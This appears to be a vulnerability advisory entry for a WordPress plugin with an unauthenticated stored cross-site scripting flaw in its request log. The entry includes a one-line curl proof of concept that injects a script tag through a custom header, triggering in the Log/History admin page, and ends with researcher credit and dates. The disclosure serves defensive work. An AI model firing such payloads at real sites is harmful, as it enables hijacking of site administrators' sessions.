The plugin does not sanitise and escape logged requests before outputting them in the related admin dashboard, leading to an Unauthenticated Stored Cross-Site Scripting issue
curl -H 'x-tomato: <script>alert(/XSS/);</script>' 'https://example.com/?nxs-cronrun=yes' The XSS will be triggered in the Log/History dashboard (/wp-admin/admin.php?page=nxs-log)
Krzysztof Zając
Krzysztof Zając
Yes
2022-01-03 (about 1 years ago)
2022-01-03 (about 1 years ago)
2022-04-08 (about 10 months ago)